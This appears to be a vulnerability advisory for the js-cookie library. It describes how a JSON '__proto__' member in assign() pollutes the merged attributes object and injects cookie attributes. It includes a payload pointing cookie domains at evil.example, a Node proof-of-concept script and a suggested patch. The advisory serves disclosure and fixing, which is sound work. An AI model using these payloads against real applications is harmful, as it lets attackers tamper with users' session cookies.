JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```